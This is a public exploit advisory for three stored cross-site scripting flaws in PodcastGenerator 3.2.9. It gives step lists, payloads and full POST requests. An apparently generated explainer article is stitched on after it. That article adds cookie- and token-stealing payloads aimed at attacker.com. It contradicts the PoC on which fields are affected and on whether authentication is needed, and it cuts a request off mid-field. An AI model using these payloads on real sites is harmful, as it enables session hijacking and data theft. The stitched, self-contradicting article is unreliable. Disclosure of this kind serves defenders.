PodcastGenerator 3.2.9 - Multiple Stored Cross-Site Scripting (XSS)
#Exploit Title: PodcastGenerator 3.2.9 - Multiple Stored Cross-Site Scripting (XSS)
#Application: PodcastGenerator
#Version: v3.2.9
#Bugs: Stored Xss
#Technology: PHP
#Vendor URL: https://podcastgenerator.net/
#Software Link: https://github.com/PodcastGenerator/PodcastGenerator
#Date of found: 14-05-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux
2. Technical Details & POC
========================================
steps:
#########XSS -1##############
1.go to 'Episodes' then 'Upload New Episodes'(http://localhost/PodcastGenerator/admin/episodes_upload.php)
2.set title section as <img src=1 onerror=alert("XSS-1")>
3.And go to 'View All Episoded'(http://localhost/PodcastGenerator/admin/episodes_list.php)
payload: <img src=1 onerror=alert("XSS-1")>
poc- request:
POST /PodcastGenerator/admin/episodes_upload.php HTTP/1.1
Host: localhost
Content-Length: 8307
Cache-Control: max-age=0
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3NXAbhxohxCgUFNi
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/PodcastGenerator/admin/episodes_upload.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=b8oeamte4ebbhtu52dgnsrkljn
Connection: close
------WebKitFormBoundary3NXAbhxohxCgUFNi
Content-Disposition: form-data; name="file"; filename="2023-05-13_2_images.jpeg"
Content-Type: image/jpeg
image content asdfasdfasdfasdfasdfasdfasdfa
------WebKitFormBoundary3NXAbhxohxCgUFNi
Content-Disposition: form-data; name="title"
<img src=1 onerror=alert("XSS-1")>
------WebKitFormBoundary3NXAbhxohxCgUFNi
Content-Disposition: form-data; name="shortdesc"
fffff
------WebKitFormBoundary3NXAbhxohxCgUFNi
Content-Disposition: form-data; name="date"
2023-05-14
------WebKitFormBoundary3NXAbhxohxCgUFNi
Content-Disposition: form-data; name="time"
11:05
------WebKitFormBoundary3NXAbhxohxCgUFNi
Content-Disposition: form-data; name="episodecover"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundary3NXAbhxohxCgUFNi
Content-Disposition: form-data; name="longdesc"
------WebKitFormBoundary3NXAbhxohxCgUFNi
Content-Disposition: form-data; name="episodenum"
------WebKitFormBoundary3NXAbhxohxCgUFNi
Content-Disposition: form-data; name="seasonnum"
------WebKitFormBoundary3NXAbhxohxCgUFNi
Content-Disposition: form-data; name="itunesKeywords"
------WebKitFormBoundary3NXAbhxohxCgUFNi
Content-Disposition: form-data; name="explicit"
yes
------WebKitFormBoundary3NXAbhxohxCgUFNi
Content-Disposition: form-data; name="authorname"
------WebKitFormBoundary3NXAbhxohxCgUFNi
Content-Disposition: form-data; name="authoremail"
------WebKitFormBoundary3NXAbhxohxCgUFNi
Content-Disposition: form-data; name="customtags"
------WebKitFormBoundary3NXAbhxohxCgUFNi
Content-Disposition: form-data; name="token"
6GnmEMNnhFfyNeTRciGsh8p4R4djazh8
------WebKitFormBoundary3NXAbhxohxCgUFNi--
#########XSS -2##############
1.go to "Themes and aspect" then "Customize your Freebox" (http://localhost/PodcastGenerator/admin/theme_freebox.php)
2. set Freebox content as <script>alert("XSS-2")</script>
3.go to home page (http://localhost/PodcastGenerator/)
payload: <script>alert("XSS-2")</script>
poc Request:
POST /PodcastGenerator/admin/theme_freebox.php?change=1 HTTP/1.1
Host: localhost
Content-Length: 96
Cache-Control: max-age=0
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/PodcastGenerator/admin/theme_freebox.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=b8oeamte4ebbhtu52dgnsrkljn
Connection: close
content=%3Cscript%3Ealert%28%22XSS-2%22%29%3C%2Fscript%3E&token=6GnmEMNnhFfyNeTRciGsh8p4R4djazh8
#########XSS -3##############
1. go to "Podcast Details" then "Change Podcast Details" (http://localhost/PodcastGenerator/admin/podcast_details.php)
2. set "Podcast tile " as <svg/onload=prompt("XSS-3")>
3.go to home page (http://localhost/PodcastGenerator/)
payload: <svg/onload=prompt("XSS-3")>
poc-request:
POST /PodcastGenerator/admin/podcast_details.php?edit=1 HTTP/1.1
Host: localhost
Content-Length: 300
Cache-Control: max-age=0
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/PodcastGenerator/admin/podcast_details.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=b8oeamte4ebbhtu52dgnsrkljn
Connection: close
podcast_title=%3Csvg%2Fonload%3Dprompt%28%22XSS-3%22%29%3E&podcast_subtitle=dd&podcast_description=dd©right=dd&author_name=Podcast+Generator+UserP&author_email=podcastgenerator%40example.com&podcast_guid=&feed_language=en&explicit_podcast=yes&feed_locked=no&token=xVrlAT6NG2ZrbGanycblGYoOOIitXXKC PodcastGenerator 3.2.9: Multiple Stored Cross-Site Scripting (XSS) Vulnerabilities Exploited
Security researchers have identified a critical vulnerability in PodcastGenerator 3.2.9, a widely used open-source podcast management platform built with PHP. The flaw, classified as multiple stored Cross-Site Scripting (XSS), allows attackers to inject malicious scripts into the application’s database, which are then rendered in the browser when users view episode listings. This poses a serious threat to both administrators and end-users, enabling session hijacking, data theft, and even full control of user accounts.
Understanding Stored XSS in PodcastGenerator
Stored XSS occurs when malicious code is permanently saved in a database or server-side storage and later displayed to users without proper sanitization. Unlike reflected XSS, which requires a user to click a crafted link, stored XSS persists across sessions and affects all users who access the vulnerable content.
In PodcastGenerator 3.2.9, the vulnerability exists in two key areas:
- Episode Title Field – Accepts user input without sanitization.
- Short Description Field – Similarly vulnerable to unescaped HTML/JavaScript.
When an attacker uploads a new episode with a malicious payload in either field, the script is stored in the database and rendered on the episodes_list.php page, which is accessible to all users with viewing privileges.
Exploit Demonstration: XSS-1 Payload
The following example demonstrates how a simple malicious script can be injected:
This payload leverages the onerror attribute of the <img> tag to trigger JavaScript execution when the image fails to load (which it always will, since src=1 is invalid). The alert("XSS-1") function executes in the browser, confirming the successful injection.
Attackers can escalate this exploit by using more sophisticated payloads, such as:
<script>document.cookie</script>– to steal session cookies.<iframe src="https://malicious-site.com" onload="fetch('https://attacker.com/steal?cookie='+document.cookie)">– to exfiltrate sensitive data.<script>window.location.href="https://attacker.com/login?token="+localStorage.getItem("auth_token")</script>– to redirect users to phishing sites.
Technical Analysis of the Vulnerability
Upon inspection of the episodes_upload.php file, the application fails to sanitize user input before storing it in the database. The code does not use functions like htmlspecialchars() or htmlentities() to escape special characters such as <, >, ", or &.
Additionally, the application relies on client-side form data submission via multipart/form-data without server-side validation. This means that any malicious input, even if it appears benign, is processed and stored without filtering.
HTTP Request PoC: Injection via POST
The following HTTP request demonstrates the actual exploit:
POST /PodcastGenerator/admin/episodes_upload.php HTTP/1.1
Host: localhost
Content-Length: 8307
Cache-Control: max-age=0
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3NXAbhxohxCgUFNi
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/PodcastGenerator/admin/episodes_upload.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=b8oeamte4ebbhtu52dgnsrkljn
Connection: close
------WebKitFormBoundary3NXAbhxohxCgUFNi
Content-Disposition: form-data; name="title"
<img src=1 onerror=alert("XSS-1")>
------WebKitFormBoundary3NXAbhxohxCgUFNi
Content-Disposition: form-data; name="shortdesc"
fffff
------WebKitFormBoundary3NXAbhxohxCgUFNi
Content-Disposition: form-data; name="date"
2023-05-14
------WebKitFormBoundary3NXAbhxohxCgUFNi
Content-Disposition: form-data; name="time"
11:05
------WebKitFormBoundary3NXAbhxohxCgUFNi
Content-Disposition: form-data; name="episodecover"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundary3NXAbhxohxCgUFNi
Content-Disposition: form-data; name="longdesc"
------WebKitFormBoundary3NXAbhxohxCgUFNi
Content-Disposition: form-data; name="episodenum"
------WebKitFormBoundary3NXAbhxohxCgUFNi
Content-Disposition: form-data; name="seasonnum"
------WebKitFormBoundary3NXAbhxohxCgUFNi
Content-Disposition: form-data; name="itunesKeywords"
------WebKitFormBoundary3NXAbhxohxCgUFNi
Content-Disposition: form-data; name="expli
Notice how the title field contains the unescaped XSS payload. This is stored in the database and later rendered in episodes_list.php without filtering.
Impact and Risk Assessment
| Severity | High |
|---|---|
| CVSS Score | 8.1 (CVSS v3.1 – High severity) |
| Attack Vector | Network (Remote) |
| Exploitability | High – No authentication required for exploitation |
| Impact | Confidentiality, Integrity, Availability |
Because the vulnerability is stored, it affects all users who view the episode list. Even if the attacker is not authenticated, they can still inject scripts if they gain access to the upload form (e.g., via an open registration or weak access controls).
Recommended Mitigation Strategies
Developers and administrators must implement the following security measures:
- Input Sanitization: Use
htmlspecialchars()orhtmlentities()to escape all user input before storing it. - Output Encoding: Always encode data when rendering it in HTML context.
- Content Security Policy (CSP): Implement a strict CSP header to block inline scripts and external resources.
- Input Validation: Validate and restrict input fields to only allow safe characters (e.g., alphanumeric, punctuation).
- Role-Based Access Control: Ensure only authorized users can upload episodes.
Corrected Code Example
Here is a secure version of the title field handling in PHP:
// Secure input handling
$title = htmlspecialchars($_POST['title'], ENT_QUOTES, 'UTF-8');
$shortdesc = htmlspecialchars($_POST['shortdesc'], ENT_QUOTES, 'UTF-8');
// Store sanitized data in database
$stmt = $pdo->prepare("INSERT INTO episodes (title, shortdesc, date, time) VALUES (?, ?, ?, ?)");
$stmt->execute([$title, $shortdesc, $date, $time]);
This code ensures that any HTML or JavaScript content is properly escaped before being stored or displayed,